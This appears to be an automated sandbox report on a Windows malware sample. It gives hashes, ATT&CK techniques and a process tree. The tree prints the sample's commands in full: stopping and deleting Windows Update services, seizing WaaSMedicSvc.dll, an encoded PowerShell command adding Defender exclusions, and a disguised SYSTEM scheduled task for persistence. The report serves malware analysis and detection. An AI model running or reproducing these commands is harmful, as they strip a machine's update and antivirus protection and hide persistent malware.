a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301

General

Target

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
Size

7.6MB
MD5

95104aa61ed30687c13e5c644d5722f3
SHA1

f9788f808044d448f73203d93da0021cefb781ff
SHA256

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301
SHA512

99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1508 takeown.exe
1992 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1508 takeown.exe
1992 icacls.exe

pid	process
1508	takeown.exe
1992	icacls.exe

pid	process
1508	takeown.exe
1992	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Windows\services.exe	conhost.exe
File opened for modification	C:\Program Files\Windows\services.exe	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

788 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1548 reg.exe
872 reg.exe
1804 reg.exe
308 reg.exe
552 reg.exe
1728 reg.exe
1568 reg.exe
1640 reg.exe
524 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

1304 powershell.exe
1984 conhost.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exetakeown.execonhost.exe

description pid process

Token: SeDebugPrivilege 1304 powershell.exe
Token: SeTakeOwnershipPrivilege 1508 takeown.exe
Token: SeDebugPrivilege 1984 conhost.exe

pid	process
788	schtasks.exe

pid	process
1548	reg.exe
872	reg.exe
1804	reg.exe
308	reg.exe
552	reg.exe
1728	reg.exe
1568	reg.exe
1640	reg.exe
524	reg.exe

pid	process
1304	powershell.exe
1984	conhost.exe

description	pid	process
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeTakeOwnershipPrivilege	1508	takeown.exe
Token: SeDebugPrivilege	1984	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 644 wrote to memory of 1984	644	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 644 wrote to memory of 1984	644	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 644 wrote to memory of 1984	644	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 644 wrote to memory of 1984	644	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1984 wrote to memory of 1448	1984	conhost.exe	cmd.exe
PID 1984 wrote to memory of 1448	1984	conhost.exe	cmd.exe
PID 1984 wrote to memory of 1448	1984	conhost.exe	cmd.exe
PID 1448 wrote to memory of 1304	1448	cmd.exe	powershell.exe
PID 1448 wrote to memory of 1304	1448	cmd.exe	powershell.exe
PID 1448 wrote to memory of 1304	1448	cmd.exe	powershell.exe
PID 1984 wrote to memory of 268	1984	conhost.exe	cmd.exe
PID 1984 wrote to memory of 268	1984	conhost.exe	cmd.exe
PID 1984 wrote to memory of 268	1984	conhost.exe	cmd.exe
PID 268 wrote to memory of 568	268	cmd.exe	sc.exe
PID 268 wrote to memory of 568	268	cmd.exe	sc.exe
PID 268 wrote to memory of 568	268	cmd.exe	sc.exe
PID 268 wrote to memory of 656	268	cmd.exe	sc.exe
PID 268 wrote to memory of 656	268	cmd.exe	sc.exe
PID 268 wrote to memory of 656	268	cmd.exe	sc.exe
PID 268 wrote to memory of 888	268	cmd.exe	sc.exe
PID 268 wrote to memory of 888	268	cmd.exe	sc.exe
PID 268 wrote to memory of 888	268	cmd.exe	sc.exe
PID 268 wrote to memory of 920	268	cmd.exe	sc.exe
PID 268 wrote to memory of 920	268	cmd.exe	sc.exe
PID 268 wrote to memory of 920	268	cmd.exe	sc.exe
PID 268 wrote to memory of 428	268	cmd.exe	sc.exe
PID 268 wrote to memory of 428	268	cmd.exe	sc.exe
PID 268 wrote to memory of 428	268	cmd.exe	sc.exe
PID 268 wrote to memory of 1568	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1568	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1568	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1548	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1548	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1548	268	cmd.exe	reg.exe
PID 268 wrote to memory of 872	268	cmd.exe	reg.exe
PID 268 wrote to memory of 872	268	cmd.exe	reg.exe
PID 268 wrote to memory of 872	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1804	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1804	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1804	268	cmd.exe	reg.exe
PID 268 wrote to memory of 524	268	cmd.exe	reg.exe
PID 268 wrote to memory of 524	268	cmd.exe	reg.exe
PID 268 wrote to memory of 524	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1508	268	cmd.exe	takeown.exe
PID 268 wrote to memory of 1508	268	cmd.exe	takeown.exe
PID 268 wrote to memory of 1508	268	cmd.exe	takeown.exe
PID 268 wrote to memory of 1992	268	cmd.exe	icacls.exe
PID 268 wrote to memory of 1992	268	cmd.exe	icacls.exe
PID 268 wrote to memory of 1992	268	cmd.exe	icacls.exe
PID 268 wrote to memory of 1640	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1640	268	cmd.exe	reg.exe
PID 268 wrote to memory of 1640	268	cmd.exe	reg.exe
PID 1984 wrote to memory of 1064	1984	conhost.exe	cmd.exe
PID 1984 wrote to memory of 1064	1984	conhost.exe	cmd.exe
PID 1984 wrote to memory of 1064	1984	conhost.exe	cmd.exe
PID 268 wrote to memory of 308	268	cmd.exe	reg.exe
PID 268 wrote to memory of 308	268	cmd.exe	reg.exe
PID 268 wrote to memory of 308	268	cmd.exe	reg.exe
PID 268 wrote to memory of 552	268	cmd.exe	reg.exe
PID 268 wrote to memory of 552	268	cmd.exe	reg.exe
PID 268 wrote to memory of 552	268	cmd.exe	reg.exe
PID 1064 wrote to memory of 788	1064	cmd.exe	schtasks.exe
PID 1064 wrote to memory of 788	1064	cmd.exe	schtasks.exe
PID 1064 wrote to memory of 788	1064	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
"C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:644

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
3⤵
- Suspicious use of WriteProcessMemory
PID:1448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1304

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:268

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
PID:568

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:888

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
PID:656

C:\Windows\system32\sc.exe
sc stop bits
4⤵
PID:920

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
PID:428

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1568

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1548

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:872

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:524

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1804

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1992

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1640

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:308

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:552

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1728

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:916

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1580

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1840

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:2008

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1688

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:1348

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1168

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
4⤵
- Creates scheduled task(s)
PID:788

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1724

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:1188

C:\Windows\system32\taskeng.exe
taskeng.exe {127FB050-2F1D-4DEF-90D8-F9B5DB136E99} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2000

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/268-65-0x0000000000000000-mapping.dmp

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memory/308-80-0x0000000000000000-mapping.dmp

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memory/428-70-0x0000000000000000-mapping.dmp

Download
memory/524-75-0x0000000000000000-mapping.dmp

Download
memory/552-81-0x0000000000000000-mapping.dmp

Download
memory/568-66-0x0000000000000000-mapping.dmp

Download
memory/644-54-0x0000000000400000-0x0000000001119000-memory.dmp

Filesize
13.1MB

Download
memory/656-67-0x0000000000000000-mapping.dmp

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memory/788-82-0x0000000000000000-mapping.dmp

Download
memory/872-73-0x0000000000000000-mapping.dmp

Download
memory/888-68-0x0000000000000000-mapping.dmp

Download
memory/916-84-0x0000000000000000-mapping.dmp

Download
memory/920-69-0x0000000000000000-mapping.dmp

Download
memory/1064-79-0x0000000000000000-mapping.dmp

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memory/1168-90-0x0000000000000000-mapping.dmp

Download
memory/1188-92-0x0000000000000000-mapping.dmp

Download
memory/1304-64-0x00000000029DB000-0x00000000029FA000-memory.dmp

Filesize
124KB

Download
memory/1304-60-0x0000000000000000-mapping.dmp

Download
memory/1304-62-0x000007FEEE950000-0x000007FEEF4AD000-memory.dmp

Filesize
11.4MB

Download
memory/1304-63-0x00000000029D4000-0x00000000029D7000-memory.dmp

Filesize
12KB

Download
memory/1348-89-0x0000000000000000-mapping.dmp

Download
memory/1448-59-0x0000000000000000-mapping.dmp

Download
memory/1508-76-0x0000000000000000-mapping.dmp

Download
memory/1548-72-0x0000000000000000-mapping.dmp

Download
memory/1568-71-0x0000000000000000-mapping.dmp

Download
memory/1580-85-0x0000000000000000-mapping.dmp

Download
memory/1640-78-0x0000000000000000-mapping.dmp

Download
memory/1688-88-0x0000000000000000-mapping.dmp

Download
memory/1724-91-0x0000000000000000-mapping.dmp

Download
memory/1728-83-0x0000000000000000-mapping.dmp

Download
memory/1804-74-0x0000000000000000-mapping.dmp

Download
memory/1840-86-0x0000000000000000-mapping.dmp

Download
memory/1984-56-0x0000000000150000-0x000000000056C000-memory.dmp

Filesize
4.1MB

Download
memory/1984-58-0x000007FEFC521000-0x000007FEFC523000-memory.dmp

Filesize
8KB

Download
memory/1984-57-0x000000001B950000-0x000000001BD6C000-memory.dmp

Filesize
4.1MB

Download
memory/1992-77-0x0000000000000000-mapping.dmp

Download
memory/2008-87-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads